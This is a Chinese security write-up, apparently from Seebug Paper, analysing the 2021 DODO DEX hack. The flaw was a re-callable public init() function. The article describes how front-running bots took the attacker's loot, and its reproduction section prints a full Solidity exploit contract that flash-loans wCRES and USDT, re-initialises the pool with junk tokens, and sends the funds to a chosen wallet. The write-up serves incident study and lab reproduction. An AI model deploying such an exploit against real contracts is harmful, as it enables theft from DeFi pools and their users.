作者:w2ning
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

0x00 概述

2021年3月,去中心化交易平臺 DODO被黑客攻擊,僅僅 wCRES/USDT V2 一個交易對就被轉走價值近 98 萬美元的 wCRES 和近 114 萬美元的 USDT.

漏洞原理其實比較簡單,一句話描述就是Init函數為Public且可被多次調用.

但精彩的地方在于,攻擊者并沒有成功拿到超200萬美金的贓款,而是被Front Running Bot截了胡.

0x01 事件分析

  • 攻擊合約
0x910FD17B9Bfc42A6eEA822912f036EF5a080Be8A
  • 攻擊交易
0x395675b56370a9f5fe8b32badfa80043f5291443bd6c8273900476880fb5221e

  • 問題代碼如下

攻擊者首先生成兩種垃圾Token

調用 wCRES/USDT 交易對合約的flashLoan函數 借出上百萬美金的wCRES 和USDT

通過init 函數把兩個Token 地址改為自己剛剛生成的兩個垃圾Token

并把垃圾Token 還給交易對合約, 躲過require的檢查

諷刺的是該合約聲明了notInitialized的modifier,但卻并沒有使用...

好玩的地方來了, 也許是攻擊合約中的Transfer Back函數命名過于普通?

并且同樣為Public權限

攻擊者兩次想把贓款從合約中提取出來的行為都被Bot監控到并且搶先提款,攻擊者提了個寂寞...

只能說Dark Forest名不虛傳.

0x02 復現方法

  • 攻擊事件發生在高度為12000165的塊上, 所以我們可以選稍早的塊去Fork以太坊的主網
npx ganache-cli  --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@12000000
  • 通過ERC20Factory 生成兩個垃圾Token

由于ganache拿不到正確的返回值,也查不到Event

所以需要修改一下ERC20Factory合約

這樣才能查到新生成的Token地址是什么...

  • 為了方便我已經手動把兩個垃圾Token 打給了wCRES/USDT 交易對合約

  • 攻擊合約如下

/**
 *Submitted for verification at Etherscan.io on 2021-01-22
*/

/*

    Copyright 2020 DODO ZOO.
    SPDX-License-Identifier: Apache-2.0

*/

pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;

interface DVM{

    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;

    function init(
        address maintainer,
        address baseTokenAddress,
        address quoteTokenAddress,
        uint256 lpFeeRate,
        address mtFeeRateModel,
        uint256 i,
        uint256 k,
        bool isOpenTWAP
    ) external;        

}


interface Token {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
}


interface USDT{
    //USDT 并沒有完全遵循 ERC20 標準 所以其接口需單獨定義
    function transfer(address to, uint value) external;
    function balanceOf(address account) external view returns (uint);
}


contract poc{


    uint256 wCRES_amount =  130000000000000000000000;

    uint256 usdt_amount =  1100000000000;

    address wCRES_token = 0xa0afAA285Ce85974c3C881256cB7F225e3A1178a;

    address usdt_token = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    address maintainer = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;


    // 這里是剛生成的Token1地址
    address token1 = 0xAB48b42e6a98e671ff58338D5dD2fE44409b82D6;
    // 這里是剛生成的Token2地址
    address token2 = 0x1469A47A1700Cdf4cF030c0Fc7F2f45F24008228;

    uint256 lpFeeRate = 3000000000000000;

    address mtFeeRateModel = 0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01;

    uint256 i = 1;

    uint256 k = 1000000000000000000;

    bool isOpenTWAP = false;


    // 這里填你的測試地址
    address  wallet = 0x;

    address dvm_wCRES_USDT =  0x051EBD717311350f1684f89335bed4ABd083a2b6;

    function attack() public {

        address me = address(this);
        DVM DVM_wCRES_USDT = DVM(dvm_wCRES_USDT);
        DVM_wCRES_USDT.flashLoan(wCRES_amount,usdt_amount,me,"0x");

    }


    function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public{

        DVM DVM_wCRES_USDT = DVM(dvm_wCRES_USDT);
        DVM_wCRES_USDT.init(maintainer,token1,token2,lpFeeRate,mtFeeRateModel,i,k,isOpenTWAP);

        Token(wCRES_token).transfer(wallet, Token(wCRES_token).balanceOf(address(this)));
        USDT(usdt_token).transfer(wallet, Token(usdt_token).balanceOf(address(this)));

    }

}
  • 攻擊

  • 成功


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1675/